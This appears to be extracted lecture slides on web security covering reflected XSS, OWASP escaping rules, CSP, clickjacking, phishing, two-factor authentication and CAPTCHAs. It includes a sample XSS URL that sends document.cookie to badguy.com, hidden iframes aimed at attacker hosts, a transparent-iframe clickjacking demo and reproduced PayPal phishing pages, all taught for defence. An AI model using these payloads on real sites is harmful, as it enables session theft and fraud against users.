Web Security 3: XSS Continued & User Interfaces
Bug Of The Day

• Not strictly a security bug:
  https://arstechnica.com/information-technology/2019/10/
  chemists-discover-cross-platform-python-scripts-not-so-
  cross-platform/
Root Cause: Undefined but **platform** deterministic behavior

- Python is generally supposed to be "cross platform"
- Can run on anything that supports it
- But there is a lot of behavior that is platform dependent
- Notably anything touching files
- One example, the rules for **matching** in `glob.glob` are specified, but the order isn't...

**glob** — Unix style pathname pattern expansion

Source code: Lib/glob.py

The `glob` module finds all the pathnames matching a specified pattern according to the rules used by the Unix shell, although results are returned in arbitrary order. No tilde expansion is done, but *, ?, and brace expansion are performed with **will be among the matches.**
In Practice: Unspecified but deterministic

- Windows would produce the list in one way, Linux another
  - But within each OS, it would be consistent
  - Thus the code would give different results, but it "Worked fine for us"

Useful paradigm:

- If you have some unspecified behavior, make sure it is random each time!
- GoLang does this with thread execution

```python
def read_gaussian_outputfiles()
    list_of_files = []
    for file in glob.glob('*.out'):
        list_of_files.append(file)
    return list_of_files
```
Cross-Site Scripting (XSS)

- Hey, let's get that web server to display MY JavaScript...
- And now.... MUAHAHAHAHHAHAHAHHAHAHHAHH!
<table>
<thead>
<tr>
<th>Rank</th>
<th>Score</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>[1]</td>
<td>93.8</td>
<td>CWF-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td>[2]</td>
<td>83.3</td>
<td>CWF-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td>[3]</td>
<td>79.0</td>
<td>CWF-120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td>[4]</td>
<td>77.7</td>
<td>CWF-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td>[6]</td>
<td>76.8</td>
<td>CWF-862</td>
<td>Missing Authorization</td>
</tr>
<tr>
<td>[7]</td>
<td>75.0</td>
<td>CWF-798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>[8]</td>
<td>75.0</td>
<td>CWF-311</td>
<td>Missing Encryption of Sensitive Data</td>
</tr>
<tr>
<td>[9]</td>
<td>74.0</td>
<td>CWF-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>[10]</td>
<td>73.8</td>
<td>CWF-807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>[11]</td>
<td>73.1</td>
<td>CWF-250</td>
<td>Execution with Unnecessary Privileges</td>
</tr>
<tr>
<td>[12]</td>
<td>70.1</td>
<td>CWF-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>[13]</td>
<td>69.3</td>
<td>CWF-22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>[14]</td>
<td>68.5</td>
<td>CWF-494</td>
<td>Download of Code Without Integrity Check</td>
</tr>
<tr>
<td>[16]</td>
<td>66.0</td>
<td>CWF-829</td>
<td>Inclusion of Functionality from Untrusted Control Sphere</td>
</tr>
</tbody>
</table>
Reminder: Same-origin policy

• One origin should not be able to access the resources of another origin
  • http://coolsite.com:81/tools/info.html
• Based on the tuple of protocol/hostname/port
XSS: Subverting the Same Origin Policy

- It would be Bad if an attacker from evil.com can fool your browser into executing their own script …
- … with your browser interpreting the script’s origin to be some other site, like mybank.com
- One nasty/general approach for doing so is trick the server of interest (e.g., mybank.com) to actually send the attacker’s script to your browser!
  - Then no matter how carefully your browser checks, it’ll view script as from the same origin (because it is!) …
  - … and give it full access to mybank.com interactions
- Such attacks are termed Cross-Site Scripting (XSS) (or sometimes CSS)
Reflected XSS (Cross-Site Scripting)

Victim client
Reflected XSS

1. Visit web site

Victim client

Attack Server

evil.com
Reflected XSS

1 visit web site
2 receive malicious page

Victim client

Attack Server

evil.com
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link

Exact URL under attacker’s control

Victim client

Attack Server

Server Patsy/Victim

mybank.com

evil.com
Reflected XSS

1. **Visit web site**
2. **Receive malicious page**
3. **Click on link**
4. **Echo user input**

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- mybank.com
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action

Victim client

Attack Server
- evil.com

Server Patsy/Victim
- mybank.com
Reflected XSS

And/Or:

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. send valuable data

Victim client

Attack Server

evil.com

Server Patsy/Victim

mybank.com
Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. execute script embedded in input as though server meant us to run it
6. perform attacker action
7. send valuable data

("Reflected" XSS attack)
Example of How Reflected XSS Can Come About

• User input is echoed into HTML response.

• Example: search field
  • http://victim.com/search.php?term=apple
  • search.php responds with
    `<HTML> <TITLE> Search Results </TITLE> <BODY> Results for $term ...
    </BODY> </HTML>`

• How does an attacker who gets you to visit evil.com exploit this?
Injection Via Script-in-URL

• Consider this link on evil.com: (properly URL encoded)
  • http://victim.com/search.php?term=\<script\> \window.open("http://badguy.com?cookie=\"+document.cookie\") \</script\>
  • http://victim.com/search.php?
    term=%3Cscript%3E%20window.open%28%22http%3A%2F%2Fbadguy.com%3Fcookie%3D%22%2Bdocument.cookie%29%20%3C%2Fscript%3E

• What if user clicks on this link?
  • Browser goes to victim.com/search.php?
  • victim.com returns
    \<HTML\> Results for \<script\> ... \</script\> ...
  • Browser executes script in same origin as victim.com
  • Sends badguy.com cookie for victim.com
Reflected XSS: Summary

- **Target**: user with Javascript-enabled browser who visits a vulnerable web service that will include parts of URLs it receives in the web page output it generates

- **Attacker goal**: run script in user’s browser with same access as provided to server’s regular scripts (subvert SOP = Same Origin Policy)

- **Attacker tools**: ability to get user to click on a specially-crafted URL; optionally, a server used to receive stolen information such as cookies

- **Key trick**: server fails to ensure that output it generates does not contain embedded scripts other than its own

- Notes: (1) do not confuse with Cross-Site Request Forgery (CSRF); (2) requires use of Javascript (generally)
And Hiding It All...

- Both CSRF and reflected XSS require the attacker's web page to run...
  - In a way not noticed by the victim
- Fortunately? iFrames to the rescue!
  - Have the "normal" page controlled by the attacker create a 1x1 iframe...
  - `<iframe height=1 width=1 src="http://www.evil.com/actual-attack">`
- This enables the attacker's code to run...
  - And the attacker can mass-compromise a whole bunch of websites... and just inject that bit of script into them
But do it without clicking!

- Remember, a frame can open to another origin by default...


  - So this creates a 1x1 pixel iframe ("inline frame")
  - But its an "isolated" origin: the hosting page can't "see" inside..
  - But who cares? The browser opens it up!

- Can really automate the hell out of this...

  - `<iframe src="http://attacker.com/pwneverything" height=1 width=1>`
And Thus You Don't Even Need A Click!

- Bad guy compromises a bunch of sites...
  - All with a 1x1 iFrame pointing to badguy.com/pwneverything

- badguy.com/pwneverything is a rich page...
  - As many CSRF attacks as the badguy wants...
    - Encoded in image tags...
  - As many reflected XSS attacks as the badguy wants...
    - Encoded in still further iframes...
  - As many stored XSS attacks as the badguy wants...
    - If the attacker has pre-stored the XSS payload on the targets

- Why does this work?
  - Each iframe is treated just like any other web page
  - This sort of thing is *legitimate* web functionality, so the browser goes "Okeydoke..."
Protecting Servers Against XSS (OWASP)

- OWASP = Open Web Application Security Project
- Lots of guidelines, but 3 key ones cover most situations
  https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
  - Never insert untrusted data except in allowed locations
  - HTML-escape before inserting untrusted data into simple HTML element contents
  - HTML-escape all non-alphanumeric characters before inserting untrusted data into simple attribute contents
Never Insert Untrusted Data Except In Allowed Locations

```html
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>  directly in a script

<!----.NEVER PUT UNTRUSTED DATA HERE...--->  inside an HTML comment

<div ...NEVER PUT UNTRUSTED DATA HERE...=test />  in an attribute name

<NEVER PUT UNTRUSTED DATA HERE... href="/test" />  in a tag name

<style>...NEVER PUT UNTRUSTED DATA HERE...</style>  directly in CSS
```
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

Rewrite 6 characters (or, better, use framework functionality):

```
& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
/ --> &#x2f;
```
HTML-Escape Before Inserting Untrusted Data into Simple HTML Element Contents

Rewrite 6 characters (or, better, use framework functionality):

While this is a “default-allow” denylist, it’s one that’s been heavily community-vetted
HTML-Escape All Non-Alphanumeric Characters Before Inserting Untrusted Data into Simple Attribute Contents

```
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>
<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...' content</div>
<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">content</div>
```

“Simple”: width=, height=, value=...

NOT: href=, style=, src=, onXXX= ...

Escape using &\#xHH; where HH is hex ASCII code
(or better, again, use framework support)
Web Browser Heuristic Protections...

- Web Browser developers are always in a tension
  - Functionality that may be critical for real web apps are often also abused
  - Why CSRF is particularly hard to stop:
    It uses the motifs used by real apps

- But reflected XSS is a bit unusual...
  - So modern web browsers may use heuristics to stop some reflected XSS:
  - E.g. recognize that `<script>` is probably bad in a URL, replace with `script`

- Not bulletproof however
Content Security Policy (CSP)

- Goal: prevent XSS by specifying an allowed-list from where a browser can load resources (Javascript scripts, images, frames, ...) for a given web page
  - Everything not explicitly allowed is forbidden!

- Approach:
  - Prohibits inline scripts
  - Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
    - E.g., script-src 'self' http://b.com; img-src *
  - Relies on browser to enforce

Content Security Policy (CSP)

- **Goal:** prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, ...)
- **Approach:**
  - Prohibits inline scripts
  - Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
  - E.g., `script-src 'self' http://b.com; img-src *`
  - Relies on browser to enforce

This says only allow scripts fetched explicitly ("<script src=URL></script>") from the server, or from http://b.com, but not from anywhere else. Will **not** execute a script that’s included inside a server’s response to some other query (required by XSS).
Content Security Policy (CSP)

• Goal: prevent XSS by specifying a white-list from where a browser can load resources (Javascript scripts, images, frames, …) for a given web page

• Approach:
  • Prohibits inline scripts
  • Content-Security-Policy HTTP header allows reply to specify white-list, instructs the browser to only execute or render resources from those sources
    • E.g., script-src 'self' http://b.com; img-src *
  • Relies on browser to enforce

This says to allow images to be loaded from anywhere.

CSP resource directives

- **script-src** limits the origins for loading scripts
  - This is the critical one for us
- **img-src** lists origins from which images can be loaded.
- **connect-src** limits the origins to which you can connect (via XHR, WebSockets, and EventSource).
- **font-src** specifies the origins that can serve web fonts.
- **frame-src** lists origins can be embedded as frames
- **media-src** restricts the origins for video and audio.
- **object-src** allows control over Flash, other plugins
- **style-src** is script-src counterpart for stylesheets
- **default-src** define the defaults for any directive not otherwise specified
Multiple XSS and/or CSRF vulnerabilities: Canaries in the coal mine...

• If a site has one fixed XSS or CSRF vulnerability...
  • Eh, people make mistakes... And they fixed it
• If a site has multiple XSS or CSRF vulnerabilities...
  • They did not use a systematic toolkit to prevent these
  • And instead are doing piecemeal patching...
• Its like memory errors
  • If you squish them one at a time, there are probably lurking ones
  • If you squish them all, why worry?
  • "XSS is the stack overflow of the web"
So Far: Attacks involving just the server or browser/server interactions

- Good "cheatsheets": https://github.com/OWASP/CheatSheetSeries
- SQL injection & command injection
  - Server only attacks: uploaded data is processed as code on the server
  - Root cause: Too-powerful APIs
    - Things like `system()` and raw SQL queries
  - Solution: Use better APIs like `execve()` and SQL prepared statements
- Cross Site Request Forgery (CSRF/XSRF)
  - Server/client attacks: client "tricked" into sending request with cookies to the server
    - Does not require JavaScript!
  - Root cause: Base web design didn't include a clean mechanism to specify origin for requests
  - Solution: Hidden tokens, toolkits that do this automatically, Cookies with the "SameSite" attribute.
Cross Site Scripting

• Stored/Reflected XSS
  • Client receives JavaScript "from server"
  • But server was tricked into providing attacker's JavaScript
  • Stored: Server tricked into storing, get target to visit the page
    • Common pattern is uploaded user content that others can see
  • Reflected: Server tricked into displaying as part of the URL
    • Common pattern is query reflected back in the page results

• Solution:
  • Only allow user content in some specific types of locations
    • And even then, you need to escape some or all non alphanumeric characters
    • Ideally use a sanitizer
  • Content Security Policy: tell the browser to only accept scripts from limited locations
    • And no inline scripts period
Misleading Users

- Browser assumes clicks & keystrokes = clear indication of what the user wants to do
- Constitutes part of the user’s trusted path
- Attacker can meddle with integrity of this relationship in different ways …
Navigate to www.berkeley.edu
Same, but smaller window. Mouse anywhere over the region points to https://crowdfund.berkeley.edu
Let's load www.berkeley.edu

<p>
<div>
<iframe src="http://www.berkeley.edu"
width=500 height=500"></iframe>
</div>
</p>

We load <code>www.berkeley.edu</code> in an <em>iframe</em>
Let's load www.berkeley.edu

Any Javascript in the surrounding window can’t generate synthetic clicks in the framed window due to **Same Origin Policy**.
Let's load www.berkeley.edu

Though of course if the user *themselves* clicks in the framed window, that “counts” …
Let's load www.berkeley.edu

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu

<p>
<div style="position:absolute; top: 0px;">
<iframe src="http://www.berkeley.edu"
width=500 height=500></iframe>
</div>

We position the iframe to completely overlap with the outer frame
Discover new Berkeley Crowdfunding projects today
Let's load www.berkeley.edu

<p>
<div style="position:absolute; top: 40px;">
<iframe src="http://www.berkeley.edu"
width=500 height=500></iframe>
</div>
</p>

We nudge the iframe’s position a bit below the top so we can see our outer frame text
Let's load www.berkeley.edu

Discover new Berkeley Crowdfunding projects today
Let's load www.berkeley.edu

You <b>Know</b> You Want To Click Here!

We add marked-up text to the outer frame, about 3 inches from the top
Let's load www.berkeley.edu
Let's load www.berkeley.edu, opacity 0.8

```html
<p class="bigspace">
<em>You <b>Know</b> You Want To Click Here!</em>
</p>

<div style="position:absolute; top: 40px;">
<iframe src="http://www.berkeley.edu" width=500 height=500></iframe>
</div>
```

We make the iframe partially transparent
Let's load www.berkeley.edu, opacity 0.8
Let's load www.berkeley.edu, opacity 0.1

You <b>Know</b> You Want To Click Here!

We make the iframe highly transparent
Let's load www.berkeley.edu, opacity 0.1

https://crowdfund.berkeley.edu
Let's load www.berkeley.edu, opacity 0

You Know You Want To Click Here!

We make the iframe *entirely* transparent
Let's load www.berkeley.edu, opacity 0

You Know You Want To Click Here!

Click anywhere over the region goes to https://crowdfund.berkeley.edu
Clickjacking

• By placing an invisible iframe of target.com over some enticing content, a malicious web server can fool a user into taking unintended action on target.com ...

• ... By placing a visible iframe of target.com under the attacker's own invisible iframe, a malicious web server can “steal” user input – in particular, keystrokes
Clickjacking Defenses

- Require confirmation for actions (annoys users)
- Frame-busting: Web site ensures that its “vulnerable” pages can’t be included as a frame inside another browser frame
  - So user can’t be looking at it with something invisible overlaid on top …
  - … nor have the site invisible above something else
Attacker implements this by placing Twitter’s page in a “Frame” inside their own page. Otherwise they wouldn’t overlap.
Clickjacking Defenses

• Require confirmation for actions (annoys users)
• Frame-busting: Web site ensures that its “vulnerable” pages can’t be included as a frame inside another browser frame
  • So user can’t be looking at it with something invisible overlaid on top …
  • … nor have the site invisible above something else
• See OWASP’s “cheat sheet” for this too
Clickjacking Defenses

• Require confirmation for actions (annoys users)
• Frame-busting: Web site ensures that its “vulnerable” pages can’t be included as a frame inside another browser frame
  • So user can’t be looking at it with something invisible overlaid on top …
  • … nor have the site invisible above something else
• Another approach: HTTP X-Frame-Options header
  • Allows white-listing of what domains – if any – are allowed to frame a given page a server returns
Yes, there is a hell of a lot of grafted on web security...

- So far we've seen:
  - `Content-Security-Policy`: (HTTP header)
  - `SameSite` (Cookie attribute)
  - And now `X-Frame-Options` (HTTP header)

- One curse of security: Backwards compatibility....
  - We can't just throw out the old S@#)(*: people depend on it!
Phishing...

- Leveraging the richness of web pages...
- And user training!
Dear vern we are making a few changes

Your Account Will Be Closed!

Hello, Dear vern

Your Account Will Be Closed. Until We Here From You. To Update Your Information. Simply click on the web address below

What do I need to do?

Confirm My Account Now

Date: Thu, 9 Feb 2017 07:19:40 -0600
From: PayPal <alert@gnc.cc>
Subject: [Important] : This is an automatic message to : (vern)
To: vern@aciri.org

How do I know this is not a Spoof email?

Spoof or 'phishing' emails tend to have generic greetings such as "Dearvern". Emails from PayPal will always address you by your first and last name.

Find out more here.

This email was sent to vern.

Copyright Â© 1999-2017. All rights reserved. PayPal Pte. Ltd. Address is 5 Temasek Boulevard #09-01 Suntec Tower 5 Singapore 038985
Dear vern we are making a few changes

Your Account Will Be Closed!

Hello, Dear vern

Your Account Will Be Closed, Until We Here From You. To Update Your Information. Simply click on the web address below

What do I need to do?

Confirm My Account No.

Help  Contact  Security

How do I know this is not a Spoof email?

Spoof or 'phishing' emails tend to have generic greetings such as "Dear vern". Emails from PayPal will always address you by your first and last name.

Find out more here.

This email was sent to vern.

Copyright © 1999-2017. All rights reserved. PayPal Pte. Ltd. Address is 5 Temasek Boulevard #09-01 Suntec Tower 5 Singapore 038985

Open “universalkids.com.br/re.php” in a new window
Log In to your PayPal account

Forgot your email or password?

Sign Up
Confirm your Credit Card

- Pay without exposing your card number to merchants
- No need to retype your card information when you pay

Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Confirm your Credit Card

- Pay without exposing your card number to merchants
- No need to retype your card information when you pay

Primary Credit Card

Not Sure

MM/YYYY

121-21-2121

This Card is a VBV/MSC

Continue

Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Please enter your Secure Code

Name of cardholder Stefani Joanne Angelina Germanotta

Zip Code

Country United States of America

Card Number Not Sure

Password

Submit

Copyright © 1999-2017. All rights reserved.
Please enter your Secure Code

Name of cardholder: Stefani Joanne Angelina Germanotta

Zip Code

Country: United States of America

Card Number Not Sure

Password: $secret

Submit

Copyright © 1999-2017. All rights reserved.
Confirm your bank account

Join 72 million PayPal members who have Confirmed a bank

- Pay with cash when you shop online
- Send money to friends in the U.S. for FREE
- Withdraw money from PayPal to your bank account

Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Confirm your bank account

Join **72 million PayPal members** who have Confirmed a bank

- Pay with cash when you shop online
- Send money to friends in the U.S. for FREE
- Withdraw money from PayPal to your bank account

🔒 Your financial information is securely stored and encrypted on our servers and is not shared with merchants.
Your account is ready to use!
Shop, sell things, and transfer money with PayPal now.

- **Go shopping**
  Shop safer online and in stores just look for the PayPal logo when you check out.

- **Sell something**
  Sell on eBay or your web site. Get paid instantly, securely.

- **Transfer money**
  Pay a friend back for lunch. Raise money for a group gift. It's fast and easy.

Buy
Sell
Transfer
Log in to your PayPal account

Email

Password

Log In

Having trouble logging in?

Sign Up
The Problem of Phishing

• Arises due to mismatch between reality & user’s:
  • Perception of how to assess legitimacy
  • Mental model of what attackers can control
    • Both Email and Web

• Coupled with:
  • Deficiencies in how web sites authenticate
    • In particular, “replayable” authentication that is vulnerable to theft

• Attackers have many angles …
Homograph Attacks

- International domain names can use international character set
  - E.g., Chinese contains characters that look like / . ? =

  **Attack:** Legitimately register var.cn …
  - … buy legitimate set of HTTPS certificates for it …
  - … and then create a subdomain:
    - www.pnc.com/webapp/unsec/homepage.var.cn

This is one subdomain
Check for a padlock?
Check for “green glow” in address bar?
Check for Everything?
“Browser in Browser”

Apparent browser is just a fully interactive image generated by Javascript running in real browser!
So Why Does This Work?

- *Because users are stupid?*
Why does phishing work?

• **User mental model vs. reality**
  
  • Browser security model too hard to understand!

• The easy path is insecure; the secure path takes extra effort

• Risks are rare

• Users tend not to suspect malice; they find benign interpretations and have been acclimated to failure

• **And as a bonus, we actively train users to be phished!**
Two Factor

• Because people chose bad passwords...
  • Add a *second* authentication path

• Relies on the user having access to something orthogonal to the password
  • Cellphone or email
  • Security Token/Authenticator App
  • FIDO U2F/FIDO2 security key
Second Communication Channel...

- Provide the "security code" (4-8 digits) transmitted "out of band"
  - Cellphone SMS
  - Email

- Still vulnerable to transient phishing (a relay attack)...
  - Phishing site immediately tries to log in as the user...
  - Sees 2-factor is in use
  - Presents a fake "2-Factor" challenge
    - Passes the result to the site...
    - BOOM, logged in!
Authentication Tokens/Apps

- RSA Securid and Google Authenticator
  - Token and site share a common secret key
- Display first 6 digits of: HMAC(K, time)
  - Time rounded to 30 seconds
- Verify:
  - If code == HMAC(K, time) or HMAC(K, time+30) or HMAC(K, time-30), OK
- Still vulnerable to transient phishing!
- But code is relatively small...
  - Assumes some limit on brute-forcing: After 3+ tries, start adding delays
Bigger Point of those 2FA protections: Credential stuffing

- Since people reuse passwords *all the time*
- Attacker compromises one site
  - Then uses the resulting data to get everyone's password
    - Brute force the password hashes
- Now attacker reuses those passwords on every other site
- Basic 2FA prevents that
  - The password alone is no longer enough to log in
FIDO U2F/FIDO2 Security Key

- Two operations:
  - Register Site:
    - Generate a new public/private key pair and present it to the site
  - Verify:
    - Given a nonce, site, and key ID, sign the nonce and return it
      - Nonce (provided by server) prevents replay attack
      - Site is verified as allowed for the key ID, prevents relay attack

- Both operations require user presence
  - Can't happen in the background, need to "touch" the key
    - But an optional "no touch needed" mode is supported

- Can't be phished!
  - A phishing site will fail the site verification
CAPTCHAs: How Lazy Cryptographers Do AI

- The whole point of CAPCHAs is not just to solve "is this human"...
- But leverage bad guys to force them to solve hard problems
- Primarily focused on machine vision problems
By clicking the “Create My Account” button below, I certify that I have read and agree to the Yahoo! Terms of Service, Yahoo! Privacy Policy and Communication Terms of Service, and to receive account related communications from Yahoo! electronically. Yahoo! automatically identifies items such as words, links, people, and subjects from your Yahoo! communications services to deliver product features and relevant advertising.

Create My Account
CAPTCHAs

• *Reverse Turing Test*: present “user” a challenge that’s easy for a human to solve, hard for a program to solve

• One common approach: distorted text that’s difficult for character-recognition algorithms to decipher
(a) Aol.  
(b) mail.ru  
(c) phpBB 3.0  
(d) Simple Machines Forum  
(e) Yahoo!  
(f) youku

Figure 1: Examples of CAPTCHAs from various Internet properties.
Issues with CAPTCHAs

- Inevitable arms race: as solving algorithms get better, defense erodes

Figure 4: Examples of images from the hard CAPTCHA puzzles dataset.
Issues with CAPTCHAs

• Inevitable arms race: as solving algorithms get better, defense erodes, or gets harder for humans
Asirra

Asirra is a human interactive proof that asks users to identify photos of cats and dogs. It's powered by over two million photos from our unique partnership with Petfinder.com. Protect your web site with Asirra — free!
Issues with CAPTCHAs

- Inevitable arms race: as solving algorithms get better, defense erodes, or gets harder for humans

- **Accessibility**: not all humans can see
- **Granularity**: not all bots are bad (e.g., crawlers)
Issues with CAPTCHAs, con’t

• Deepest problem: CAPTCHAs are inherently vulnerable to *outsourcing* attacks
  • Attacker gets real humans to solve them
"crack captcha"

crack captcha.php

Google Search  I'm Feeling Lucky
Using the advertisement in blogs, social networks, etc. significantly increases the efficiency of the business. Many services use pictures called CAPTCHAs in order to prevent automated use of these services.

Solve CAPTCHAs with the help of this portal, increase your business efficiency now!

Follow these steps:
- Register
- Login and follow the link inside to load funds to your account.
- Your request will be processed ASAP.

You pay for correctly recognized CAPTCHAs only
The price is $2 for 1000 CAPTCHAs. We accept payments from $10.

If you use a third-party software the price could be different, contact the software vendor for more information.

Hi! I want to bypass captcha from my bots. Bots have different IPs. Is it possible to use your service from many IPs?
We have no restrictions about IP: with DeCaptcha you can bypass CAPTCHA from as many IPs as you need.

Hi. I need to crack captcha. Do you provide a captcha decoders?
DeCaptcha CAPTCHA solving is processed by humans. So the accuracy is much better than an automated captcha solver ones
<table>
<thead>
<tr>
<th>Language</th>
<th>Example</th>
<th>AG</th>
<th>BC</th>
<th>BY</th>
<th>CB</th>
<th>DC</th>
<th>IT</th>
<th>All</th>
</tr>
</thead>
<tbody>
<tr>
<td>English</td>
<td>one two three</td>
<td>51.1</td>
<td>37.6</td>
<td>4.76</td>
<td>40.6</td>
<td>39.0</td>
<td>62.0</td>
<td>39.2</td>
</tr>
<tr>
<td>Chinese (Simp.)</td>
<td>— — —</td>
<td>48.4</td>
<td>31.0</td>
<td>0.00</td>
<td>68.9</td>
<td>26.9</td>
<td>35.8</td>
<td>35.2</td>
</tr>
<tr>
<td>Chinese (Trad.)</td>
<td>— — —</td>
<td>52.9</td>
<td>24.4</td>
<td>0.00</td>
<td>63.8</td>
<td>30.2</td>
<td>33.0</td>
<td>34.1</td>
</tr>
<tr>
<td>Spanish</td>
<td>uno dos tres</td>
<td>1.81</td>
<td>13.8</td>
<td>0.00</td>
<td>2.90</td>
<td>7.78</td>
<td>56.8</td>
<td>13.9</td>
</tr>
<tr>
<td>Italian</td>
<td>uno due tre</td>
<td>3.65</td>
<td>8.45</td>
<td>0.00</td>
<td>4.65</td>
<td>5.44</td>
<td>57.1</td>
<td>13.2</td>
</tr>
<tr>
<td>Tagalog</td>
<td>isá dalawá tatló</td>
<td>0.00</td>
<td>5.79</td>
<td>0.00</td>
<td>0.00</td>
<td>7.84</td>
<td>57.2</td>
<td>11.8</td>
</tr>
<tr>
<td>Portuguese</td>
<td>um dois três</td>
<td>3.15</td>
<td>10.1</td>
<td>0.00</td>
<td>1.48</td>
<td>3.98</td>
<td>48.9</td>
<td>11.3</td>
</tr>
<tr>
<td>Russian</td>
<td>один два три</td>
<td>24.1</td>
<td>0.00</td>
<td>0.00</td>
<td>11.4</td>
<td>0.55</td>
<td>16.5</td>
<td>8.76</td>
</tr>
<tr>
<td>Tamil</td>
<td>ஒன்று இரண்டு</td>
<td>2.26</td>
<td>21.1</td>
<td>3.26</td>
<td>0.74</td>
<td>12.1</td>
<td>5.36</td>
<td>7.47</td>
</tr>
<tr>
<td>Dutch</td>
<td>een twee drie</td>
<td>4.09</td>
<td>1.36</td>
<td>0.00</td>
<td>0.00</td>
<td>1.22</td>
<td>31.1</td>
<td>6.30</td>
</tr>
<tr>
<td>Hindi</td>
<td>एक दो तीन</td>
<td>10.5</td>
<td>5.38</td>
<td>2.47</td>
<td>1.52</td>
<td>6.30</td>
<td>9.49</td>
<td>5.94</td>
</tr>
<tr>
<td>German</td>
<td>eins zwei drei</td>
<td>3.62</td>
<td>0.72</td>
<td>0.00</td>
<td>1.46</td>
<td>0.58</td>
<td>29.1</td>
<td>5.91</td>
</tr>
<tr>
<td>Malay</td>
<td>satu dua tiga</td>
<td>0.00</td>
<td>1.42</td>
<td>0.00</td>
<td>0.00</td>
<td>0.55</td>
<td>29.4</td>
<td>5.23</td>
</tr>
<tr>
<td>Vietnamese</td>
<td>một hai ba</td>
<td>0.46</td>
<td>2.07</td>
<td>0.00</td>
<td>0.00</td>
<td>1.74</td>
<td>18.1</td>
<td>3.72</td>
</tr>
<tr>
<td>Korean</td>
<td>일 이 삼</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>20.2</td>
<td>3.37</td>
<td></td>
</tr>
<tr>
<td>Greek</td>
<td>ένα δύο τρία</td>
<td>0.45</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>15.5</td>
<td>2.65</td>
</tr>
<tr>
<td>Arabic</td>
<td>ثلاثة أربعة وأحد</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>15.3</td>
<td>2.56</td>
</tr>
<tr>
<td>Bengali</td>
<td>এক দুই তিন</td>
<td>0.45</td>
<td>0.00</td>
<td>9.89</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>1.72</td>
</tr>
<tr>
<td>Kannada</td>
<td>మూడు నాలుగు</td>
<td>0.91</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.55</td>
<td>6.14</td>
<td>1.26</td>
</tr>
<tr>
<td>Klingon</td>
<td>&lt; &lt; &lt;</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>1.12</td>
<td>0.19</td>
<td></td>
</tr>
<tr>
<td>Farsi</td>
<td>سه دو یک</td>
<td>0.45</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.08</td>
</tr>
</tbody>
</table>

Table 2: Percentage of responses from the services with correct answers for the language CAPTCHAs.
These Days:
CAPTCHAs are ways of training AI systems